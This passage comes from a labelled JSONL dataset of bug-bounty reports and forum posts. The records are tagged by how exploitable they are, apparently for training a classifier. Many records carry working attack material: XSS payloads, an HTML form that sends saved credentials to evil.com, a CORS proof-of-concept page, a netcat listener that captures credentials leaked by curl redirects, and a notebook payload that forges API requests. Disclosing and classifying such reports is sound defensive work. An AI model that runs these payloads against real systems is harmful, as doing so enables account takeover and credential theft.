vulnerability\n\nRegards\n\nTanvir Imon\n\n## Impact\n\n***Impact:\n\nAn Adversary can carry out No Rate-Limit attack and also can take over the victim Account.\nAlso, an adversary can manage to login through any other user's account.\n\n***Business Impact:\n\nUsing rate limiting for website protection has significant drawbacks when it comes to your business. rate limiting is costing you money, and what you can do about it", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b94b6645f2321d630d0", "text": "[Plaintext Storage of a Password] Storage of old passwords in plain text format\n\n## Summary:\n\nServer response from app.recordedfuture.com has old passwords for a logged in account in plain text format. Storage of password(s) in any readable format or using weak hashes put the account or system at great risk. What's interesting is how RecordedFuture store multiple passwords (not just 1 but 2 latest passwords) in a readable format. Anybody within Recorded Future has now access to those passwords and also, users who share their account access internally within their teammates during emergency investigations can get access to those passwords too.  Regardless of old or current password storing them in a plain text is a big no. \n\n## Steps To Reproduce:\n\n- Login to Recorded Future\n- Send a POST request to  https://app.recordedfuture.com/rf/kobradata/user/get/user\n- Intercept the request through a web proxy and take a look at the server response\n- Look under 'params'\n-'_password1' and '_password2' shows the old passwords in plain text\n\n  \n\n## Supporting Material/References:\n Attached is the obfuscated screenshot showing the password params\n\n## Impact\n\n-Storing passwords in plaintext is bad because it puts both the system and users at risk.\n-RF internal devs get access to accidentally look at those passwords\n- Account sharing (which happens within companies) put the seat holder at risk because the password pattern can be used elsewhere to compromise other accounts (Insider threat/malicious intention). Also, people tend to reuse the passwords", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58527085c8f3613772b1", "text": "[Information Disclosure] Deliviry Club Courier app (v. 3.9.25.0); Disclosure phone number of client.\n\nЗдравствуйте. Я нашёл баг в приложениидля курьеров, позволяющий получить реальный номер телефона клиента. \nОбычно, когда курьеру необходимо позвонить клиенту для уточнения какого-либо  вопроса, курьер нажимает \"Позвонить клиенту\", и после этого совершается звонок не на номер клиента, а через  Delivery  Club, тем самым не раскрывая номер клиента курьеру. \n\nКак  воспроизвести:\n1) Во время активного заказа включить режим полёта\n2) Где \"Позвонить клиенту\" нажать на значок \"?\" и увидеть номер клиента\n(так же можно) просто в режиме полёта нажать \"Позвонить клиенту\". Однако номер показан не будет, а посмотреть его можно будет только в истории звонков. \n\nПрикрепляю видео (PoC.mp4), в котором демонстрируется возможность получить номер клиента:\n\n## Impact\n\nInformation disclosure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f93db1f66bfda3b00a1f", "text": "Hey! Thanks for reaching out. You’re more than welcome to jump on the squad and hack with us! You’ll just need to search for the team name strataGEM , then look for the the request to join button. I’ll be on the lookout and accept the request. After that I’ll shoot you a link to the discord. Look forward to hearing from you. -apollyon", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecf0c1edf40a6d040ba6", "text": "[Cross-site Scripting (XSS) - Generic] XSS vulnerabilities due to missing checks in tag helpers\n\nRails offers some protections against XSS in its helpers for the views. Several tag helpers in ActionView::Helpers::FormTagHelper and ActionView::Helpers::TagHelper are vulnerable against XSS because their current protection does not restrict properly the set of characters allowed in the names of tag attributes and in the names of tags.\n\nI am providing a proposal of changes to fix the problems following the official Rails guide for contributing, including tests, changelogs, etc. It is just a proposal and I am willing to improve it with your feedback and backport it to the supported versions. Let me know if you would like me to add you to a private repository where I can create a pull request and we can discuss the changes comfortably.\n\nThe first group of vulnerabilities is related to the `options` argument in methods from `FormTagHelper` like `check_box_tag, label_tag, radio_button_tag, select_tag, submit_tag, text_area_tag, text_field_tag, etc.` In particular in these 3 cases:\n- When providing prefixed HTML \"data-*\" attributes.\n- When providing prefixed HTML \"aria-*\" attributes.\n- When providing a hash of other types of non-boolean attributes.\n\nFor example:\n\n`check_box_tag('thename', 'thevalue', false, data: { malicious_input => 'thevalueofdata' })`\n\nIn that method call, when the variable `malicious_input` is controlled in part or completely by a user of the application, an attacker can provide an input that will break free from the tag and execute arbitrary JavaScript code. For some applications, that code can be executed in the browser of a different user visiting the application. A simplified proof of concept with only reflected XSS would be this HTML ERB view file:\n\n`<%= check_box_tag('thename', 'thevalue', false, data: { params[:payload] => 'thevalueofdata' }) %>`\n\nFollowed by a request that included the malicious URL parameter: `http://...?payload=something=\"something\"><img src=\"/nonexistent\" onerror=\"alert(1)\"><div class`\n\nThat example only shows an alert window, but it is possible to steal passwords or other private information from the user, substitute parts of the website with fake content, attack other websites visited by the user, perform scans of the network of the user, etc. And some applications are probably using more dangerous stored user input instead of URL parameters, allowing attackers to perform stored XSS attacks on other users.\n\nHere is another example with `aria-*` HTML attributes were the same simple payload can be tested:\n`check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })`\n\nAnd finally, another example with other non-boolean attributes:\n`check_box_tag('thename', 'thevalue', false, malicious_input => 'theothervalue')`\n\nThis same vulnerable structure can also be attacked successfully in the other methods listed at the beginning: `label_tag, radio_button_tag, select_tag, submit_tag, text_area_tag, text_field_tag...`\n\nThe second group of vulnerabilities is related to the more generig methods `tag` and `content_tag` from `TagHelper`. They are vulnerable in the `options` argument like the previous group of methods, but they are also vulnerable in their first argument, for the names of the generated tags, using the same kind of attack to break free from the tag and execute arbitrary Javascript code. For example:\n\n- `tag(malicious_input)`\n- `tag.public_send(malicious_input.to_sym)`\n- `content_tag(malicious_input)`\n\nIn the 3 cases, this is an example of a simple payload that works:\n`img%20src=%22/nonexistent%22%20onerror=%22javascript_payload%22`\n\nAs said before for other examples, that only shows an alert window, but it is possible to use the same attack to potentially steal passwords or other private information from the user, substitute parts of the website with fake content, perform scans of the network of the user, etc.\n\n## Impact\n\nAs mentioned in the description, the Rails applications that use those helpers with some kind of user-supplied input are vulnerable ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "06025ae40289074c0f81", "text": "[Unknown] CORS Misconfiguration on Yelp\n\n## Entry\nAn cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page\n\n## Description:\nCORS misconfiguration is found on business.yelp.com as Access-Control-Allow-Credentials: true.\n\n## Steps to reproduce:\n\nVisit business site.\n\n## Request\nGET /wp-json HTTP/2\nHost: business.yelp.com\nSec-Ch-Ua: \"Chromium\";v=\"105\", \"Not)A;Brand\";v=\"8\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nOrigin: evil.com\n\n## Response\nAllow: GET\nAccess-Control-Allow-Origin: http://evil.com\nAccess-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE\nAccess-Control-Allow-Credentials: true\n\n## POC\n<!DOCTYPE html>\n<html>\n    <head>\n        <script>\n            function cors() {\n                var xhttp=new XMLHttpRequest();\n                    xhttp.onreadystatechange= function() {\n                        if (this.readyState == 4 && this.status ==200){\n                            document.getElementById(\"emo\").innerHTML=alert(this.responseText\n                                );\n                        }\n                };\n                xhttp.open('GET',\"https://business.yelp.com/wp-json/\",true);\n                xhttp.withCredentials=true;\n                xhttp.send();\n            }\n        </script>\n    </head>\n    <body>\n        <center>\n        <h2>[!]CORS P0C - Qualw1n</h2>\n        <div id=\"demo\">\n            <button type=\"button\" onclick=\"cors()\">Exploit</button> \n        </div>\n        </center>\n    </body>\n</html>\n\n## Photo\n{F1945188}\n\n## Impact\n\nAttacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server.\nAlso If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "01516314afec3d5dd3c4", "text": "[Violation of Secure Design Principles] Onion-Location header allows to open arbitrary URLs including chrome:\n\n## Summary:\n\nThis [PR](https://github.com/brave/brave-core/pull/6762) introduced \"Open in Tor\" feature that can open .onion URLs offered through `Onion-Location` response header, but `Onion-Location` header allows to open arbitrary URLs such as `javascript:` and `chrome:`.\nThis behavior can be exploited as a way to bypass SOP and gain access to privileged URLs.\n\n## Products affected: \n\n* Brave Nightly for OSX (1.21.28 Chromium: 88.0.4324.96 (Official Build) nightly (x86_64))\n\n## Steps To Reproduce:\n\n* Open https://csrf.jp/brave/onion.php\n* Click \"Open in Tor\" button shown in the Brave's address bar\n* Privileged URL `chrome://restart/` is opened, and Brave is restarted.\n\nIf a user enabled \"Automatically redirect .onion sites\" in the settings, `chrome://restart/` is opened automatically and Brave continues to restart endlessly.\n\n## Supporting Material/References:\n\nPoC code in PHP is below\n\n   ```\n<?php\nheader(\"Onion-Location: chrome://restart/\");\n?>\n   ```\n\n## Impact\n\nAs written in the summary, attacker can bypass SOP restrictions and gain access to privileged URLs.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1c3d38b748cfa9ea840", "text": "[Information Exposure Through Directory Listing] Information Exposure Through Directory Listing vulnerability\n\nA directory listing provides an attacker with the complete index of all the resources located inside of the directory as well as download or access its contents.\nWhile the researcher did not dig deeper on to the available files, it might be possible that these websites host sensitive information like private videos which can publicly be downloaded or accessed by any user.\nSteps To Reproduce:\nBrowse to the URLs below to see the vulnerability.\nvisit\n1.https://apps.nextcloud.com/static/admin/\n2.https://apps.nextcloud.com/static/admin/js/\n\n## Impact\n\nattacker can able to see the source code of users admin pages..\ncritical information of admin ..", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8a2d928ef051786b34e", "text": "[Unknown] [Javascript]: [Clipboard-based XSS]\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fef483b4ee9137c5a7ec", "text": "[Improper Access Control - Generic] HTML Injection in the Invoice memos field\n\n## Summary:\n\nIn customer invoices a memo field is vulnerable to HTML injection.  So i can takeover any victim's account with auto-save functionality through HTML injection. Basically when we saved the login credential in our browser & tried to login into the account the browser automatically fills the email & pass we just need to click on login. so I created a login form and make the email & password field invisible by setting Opacaity:0 in CSS and set my button name to \"Load more content\".\n\n## Steps To Reproduce:\n\n  1. Login to your account and save your email and password in your browser \n\n  2. Go to https://dashboard.stripe.com/invoices. Create new invoice or edit any invoice \n\n  3. Memo field is vulnerable to HTML injection. So just paid this HTML code to memo field \"<form action=\"//evil.com\" method=\"GET\"><input type=\"text\" name=\"u\" style='opacity:0;'><input type=\"password\" name=\"p\" style='opacity:0;'><input type=\"submit\" name=\"s\" value=\"Load more content\"> \"\n\n  4. Save the invoice. Now open that invoice in a new tab.\n\n  5.  You can see a \"load more content\" button there. Just click on that button and in evil.com you will find your email and password in URL.\n\n  6. You can takeover any victim's account by sending that invoice \n\n## Supporting Material/References:\nhttps://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da\n\n## Impact\n\nTakeover any victim's account", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "53fc9202a1cf9725b6af", "text": "[Improper Authorization] Gitlab Pages token theft using service workers\n\n### Summary\nIt is possible to steal Gitlab Pages session tokens by intercepting requests to the `/auth` endpoint on a Pages site using service workers. \n\n### Attack Flow\n**Setup**\n1. The attacker creates a private Gitlab Pages site at the root of their user page `attacker.gitlab.io`, ensuring that the project is `private to collaborators` for Gitlab Pages visibility. \n2. The attacker invites the victim to collaborate to the project, thus giving them access to the private Pages site.\n3. The victim clicks on a link to `attacker.gitlab.io`, and a service worker is registered for the domain, passing through all requests back to the server except the `/auth` endpoint, which it intercepts.\n\n**Bypassing the CSRF protection (OAuth2 `state` param)**\n4. A script on the website requests a valid session cookie and redirection URL from an attacker controlled website.\n5. The attacker controlled website sends its own request to `attacker.gitlab.io`, and retrieves a redirection URL and a session cookie.\n6. A script on the website redirects the victim to the redirection URL retrieved by the attacker, and the user authenticates (since the user is already logged in, this does not require any kind of interaction)\n\n**Intercepting the OAuth2 Response**\n7. The OAuth2 service redirects the user back to `attacker.gitlab.io/auth` with the code and state, which is intercepted by the attacker's service worker and sent to the attacker controlled website.\n8. The attacker controlled website sends a request to the auth endpoint with the original session cookie and the intercepted code and state to obtain an authenticated session cookie.\n9. The attacker can use this cookie to access other GitLab Pages sites that the victim has access to.\n\n### Steps to reproduce\n1. Create an attacker account and victim account. The victim account should have access to a private GitLab Pages site that the attacker does not have access to.\n2. Start the attacker controlled server (ensure that it is on a remote server with HTTPS)\n3. Import the Proof of Concept repository into the attacker's account, rename it to `{attacker username}.gitlab.io` and change the attacker server to the server deployed in step 2.\n4. Invite the victim to collaborate on the `{attacker username}.gitlab.io` project.\n5. While logged into the victim account, visit `{attacker username}.gitlab.io`.\n6. The attacker controlled server will output a valid `gitlab-pages` session cookie, which can be inserted into a browser or curl command (`curl -v --cookie '{cookie}' https://{victim username}.gitlab.io/{private Gitlab Pages project}`) to gain access to the private Gitlab Pages project on the victim's account.\n\n### Examples\n\n**Proof of Concept:**\n\nPages Project export: F1565711\nPages Project on gitlab.com: https://gitlab.com/dotchinavideo/dotchinavideo.gitlab.io\nAttacker controlled server: F1565227 (requires `flask` and `flask-cors` installed, outputs the stolen token to stdout)\n\n### What is the current *bug* behavior?\nThe current behavior is that `gitlab-pages` session cookies are not properly validated to ensure that the requested subdomain is the same as the subdomain to which the session cookie was issued for.\n\n### What is the expected *correct* behavior?\nThe expected behavior is for each `gitlab-pages` session cookie be validated to prevent cross-subdomain usage.\n\n### Relevant logs and/or screenshots\nF1565251\n\n### Output of checks\nThis bug happens on GitLab.com\n\n#### Results of GitLab environment info\nThis bug happens on GitLab.com\n\n## Impact\n\nOnce an attacker has a valid Pages session token, they are able to access every private Gitlab Pages site that the victim has access to.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1fe5c15a522ff621778", "text": "I messed up by having burp running and not the whole website loaded. Remember to disable burp when you visit the website for the first time", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2434770e19ff2d8564e", "text": "[Command Injection - Generic] Sending Arbitrary Requests through Jupyter Notebooks on gitlab.com and Self-Hosted GitLab Instances\n\n> *NOTE*: I am still researching whether there is a possibility to deploy the exploit without user interaction.\n\n### Summary\n\nGitLab provides a [rich representation](https://docs.gitlab.com/ee/user/project/repository/jupyter_notebooks/) for Jupyter Notebooks (`*.ipynb`). In turn, Jupyter Notebooks provide the possibility for [rich output via HTML](https://nbviewer.jupyter.org/github/ipython/ipython/blob/master/examples/IPython%20Kernel/Rich%20Output.ipynb#HTML). Although most tags and attributes are stripped from the HTML output rendered in GitLab's rich representation, it retains `data-*` attributes. Using [`jquery-ujs`](https://gitlab.com/gitlab-org/gitlab/-/blob/4e12f87c013f59070bf1156bb2427af9fa9123c4/package.json#L101) as a gadget, it is possible to trigger `GET`/`POST`/`PUT`/`DELETE` requests with an [arbitrary payload](https://github.com/rails/jquery-ujs/wiki/Unobtrusive-scripting-support-for-jQuery-%28list-of-data-attributes%29#data-params). On https://gitlab.com, the CSP restricts the target, while there is no such limitation for self-hosted GitLab instances. As of now, this vulnerability requires user interaction in the form of a single click followed by and applies to https://gitlab.com as well as self-hosted GitLab instances.\n\n### Steps to reproduce\n\n1. Create a GitLab project or refer to an existing project.\n2. Upload an `exploit.ipynb` file with the following contents:\n\n     ```json\n    {\n      \"cells\": [\n        {\n          \"metadata\": { \"trusted\": true },\n          \"cell_type\": \"code\",\n          \"source\": \"Tell me something about you!\",\n          \"execution_count\": 1,\n          \"outputs\": [\n            {\n              \"output_type\": \"display_data\",\n              \"data\": {\n                \"text/plain\": \"<IPython.core.display.HTML object>\",\n                \"text/html\": \"What's your favorite color?&emsp;<select data-method=\\\"put\\\" data-params=\\\"message=p0wn3d\\\" data-remote=\\\"true\\\" data-url=\\\"/api/v4/user/status\\\"><option>Red</option><option>Green</option><option>Blue</option></select>\\n\"\n              },\n              \"metadata\": {}\n            }\n          ]\n        }\n      ],\n      \"metadata\": {\n        \"kernelspec\": {\n          \"name\": \"python3\",\n          \"display_name\": \"Python 3\",\n          \"language\": \"python\"\n        },\n        \"language_info\": {\n          \"name\": \"python\",\n          \"version\": \"3.7.8\",\n          \"mimetype\": \"text/x-python\",\n          \"codemirror_mode\": { \"name\": \"ipython\", \"version\": 3 },\n          \"pygments_lexer\": \"ipython3\",\n          \"nbconvert_exporter\": \"python\",\n          \"file_extension\": \".py\"\n        }\n      },\n      \"nbformat\": 4,\n      \"nbformat_minor\": 4\n    }\n    ```\nwhere `cells[0].outputs[0].data.text/html` contains the payload.\n3. In the *Files*  view of the project, click on the above-added `exploit.ipynb`.\n4. Select an option other than the default.\n5. Reload the page to recongize that your status has been altered, i.e. click on your profile in the top right corner.\n\n### Impact\n\nAn attacker is able to send `GET`/`POST`/`PUT`/`DELETE` requests with an [arbitrary payload](https://github.com/rails/jquery-ujs/wiki/Unobtrusive-scripting-support-for-jQuery-%28list-of-data-attributes%29#data-params) to targets within the CSP on https://gitlab.com or arbitrary targets on self-hosted GitLab instances on behalf of the victim.\n\nThe impact is similar to that of #824689 and #806571.\n\n### Examples\n\nDue to the destructive nature of the above-described example, I do not provide a public PoC, although I have created [an exemplary repository](https://gitlab.com/dpfuerst/sending-arbitrary-requests-through-jupyter-notebooks). This repository is private, please let me know if you would like me to change the visibility.\n\nThe above-described `exploit.ipynb` [sets the user status](https://docs.gitlab.com/ee/api/users.html#set-user-status) of the victim to `p0wn3d`. However, more critical permission-related exploits are also possible. Consider an attacker with", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bdf4e8238a8edaebb2d2", "text": "[Insufficiently Protected Credentials] CVE-2022-27774: Credential leak on redirect\n\n## Summary:\ncurl/libcurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.\n\n## Steps To Reproduce:\n\n  1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite:\n     ```\n    RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n    RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]\n     ```\n  2. Capture credentials at `secondsite.tld` for example with:\n     ```\n     while true; do echo -e \"220 pocftp\\n331 plz\\n530 bye\" | nc -v -l -p 9999; done\n     ```\n  3. `curl -L --user foo  https://firstsite.tld/redirectpoc`\n  4. The entered password is visible in the fake FTP server:\n```\nListening on 0.0.0.0 9999\nConnection received on somehost someport\nUSER foo\nPASS secretpassword\n```\n\nThere are several issues here:\n1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect, considering the documentation says:\n> When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.\n2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.\n\nIn addition, TLS SRP user credentials (`CURLOPT_TLSAUTH_USERNAME` and `CURLOPT_TLSAUTH_PASSWORD`) are also leaked on redirects.\n\n## Impact\n\nLeak of confidential information (user credentials).", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27774"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "148dd923925e7610a2de", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in ████████████\n\n**Description:**\nXSS vulnerability found on one of `███████` subdomains. [ DoD scope]\n\nAfter analyzing `https://████████████/` (national levee database) I found  `auth/logout.jsx` page that have `home` parameter in `GET` request.  `home` parameter vulnerable to XSS vulnerability.\n\n\nPayload:\n`https://█████████████████/auth/logout.jsx?home=javascript:(alert(%27XSS%20Success!%27))()`\n████████\n\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nBy exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.\nLaunch advanced phishing attacks.\nExecute browser-based attacks etc.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit the following URL \n`https://████████████████/auth/logout.jsx?home=javascript:(alert(%27XSS%20Success!%27))()`\n\n* click on `Click here to return to your application.`  and you will receive `XSS Success!` alert box.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc3e1a790c3f0f3efb4b", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://█████████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_21677\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a465d9c454b279b4889c", "text": "[Cross-site Scripting (XSS) - Stored] RichText parser vulnerability in scheduled posts allows XSS\n\n## Summary:\nRichText parser is not filtering links when editing scheduled posts\n\n## Steps To Reproduce:\n\n  1. Create a new scheduled post with a link: {F2270188}\n  2. Intercept the request with Burp Suite/Other proxies and replace the link with javascript scheme payload: {{F2270195}\n  3. Navigate to scheduled posts and click Edit: {F2270203}\n  4. Observe the malicious link, if you click on it, the javascript will execute: {F2270204}\n\n## Root cause and possible ways leverage\nWhen submitting a scheduled post, API doesn't validate links, it happens only on the client side and the links can be forged with interception of requests. Though, it seems it is impossible to get the XSS in live post, when submitting the malicious post, reddit turns richtext to markdown and then to html, which automatically removes invalid links. Another possible way to bring it in real post, is to use Link type and also forge the link, but when submitting it will just give an error\n\n## Impact\n\nAttacker can trick admins to visit the scheduled editing page and click on malicious link, which results in XSS", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e5fa83e70ab8f7bda231", "text": "[Unknown] Subdomain Takeover of brand.zen.ly\n\nHello Gents,\n\n### Background:\n> + Subdomain takeover vulnerabilities occur when a subdomain (subdomain.example.com) is pointing to a service (e.g. GitHub pages, Heroku, etc.) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that subdomain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com.\n\n### Summary:\n+ I just went to `brand.zen.ly` and it shows an error \"Not Found\", also I've checked the CNAME is pointing to `brandpad.io`, which means it can be added to any account.\n+ This is pretty serious security issue in some context, so please act as fast as possible.\n+ I was able to takeover `brand.zen.ly` by registering at **Brandpad**.\n\n### Vulnerable URL:\n+ https://brand.zen.ly\n\n### Proof of Concept:\n```\n└─$ dig brand.zen.ly\nbrand.zen.ly.\t\t255\tIN\tCNAME\tbrandpad.io.\n```\n+ Please visit: https://brand.zen.ly.\n\n+ {F1610891}\n\n### Recommended Fix:\n+ Check your DNS-configuration for subdomains pointing to services not in use.\n+ Set up your external service so it fully listens to your wildcard DNS.\n\n## Impact\n\n+ Subdomain takeover is abused for several purposes:\n1. Malware distribution.\n2. Phishing / Spear phishing.\n3. XSS and steal cookies.\n4. Bypass domain security.\n5. Legitimate mail sending and receiving on behalf of Datadog subdomain.\n\nThanks and have a nice day!", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df8a9eb21688121a030e", "text": "[Client-Side Enforcement of Server-Side Security] Information disclosure by sending a GIF\n\n# Summary\n- The attacker can view the Operating System, Version Of  The Operating System, Browser, IP Address, Device ID, Phone Model, Time Zone and other critical information about any LinkedIn user they have identified as a victim.\n\n# Steps to Reproduce\n\n1- Create a standard linkedin user account to use in the attack.\n2- Select a GIF from the GIF Keyboard and capture the request with Burp Suite while sending it to your victim.\n3- Forward all requests until you get to the voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage endpoint. In this request, type the Burp Suite Collaborator url in message.renderContentUnions.externalMedia.media.url in the JSON Data containing (parameters) section.\n4- When the victim opens the message box, the attacker will get critical information about the victim.\n\n** Steps Photo **\n\n{F2073194}\n{F2073195}\n{F2073196}\n{F2073197}\n{F2073200}\n{F2073201}\n{F2073202}\n\n## Notes ##\n\n- This vulnerability affects not only smartphones but all platforms where you can use the link (Smart Phones, iPads, Web Browser, Smart TV etc.)\n- When the victim uses an apple phone, much more and critical data can be obtained than the android and web version.\n\n{F2073291}\n--------\n{F2073293}\n\n## PoC Video\n{F2073296}\n{F2073297}\n\n## References\n- Same Attack Scenarios\n\nhttps://ph-hitachi.medium.com/facebook-bug-poc-external-service-interaction-dns-http-ab55bfdb98f6\n\n## Impact\n\nBlack Hat Hackers can get critical information about all LinkedIn users. The information obtained is very important for the privacy of the users and includes information such as IP address, OS versions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9b6ce021f93fcef8c0b8", "text": "[Cross-site Scripting (XSS) - Stored] Stored Cross-site Scripting on devicelock.com/forum/\n\n## Summary\n\nHello, @acronis Team I hope you all doing well.\n\nI just found A Stored Cross-site Scripting on devicelock.com/forum/ by changing the ***City*** value on https://www.devicelock.com/bitrix/admin/user_edit.php? to HTML/javascript code and lead to Stored Cross-site Scripting.\n\n\n  1. go to https://www.devicelock.com/forum/view_profile.php?register=yes  and create a new account \n  1. go to https://www.devicelock.com/bitrix/admin/user_edit.php? and click on **Personal information** and in `City` input put and xss payload like: `<img src=x onerror=alert(document.cookie)>` and click on apply.\n  1. Go to https://www.devicelock.com/forum/view_profile.php?UID=<your_user_id> and change `<your_user_id>` to your id \n\n## POC\nhttps://www.devicelock.com/forum/view_profile.php?UID=28349\n\n{F1225664}\n\n## Impact\n\nStored XSS.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
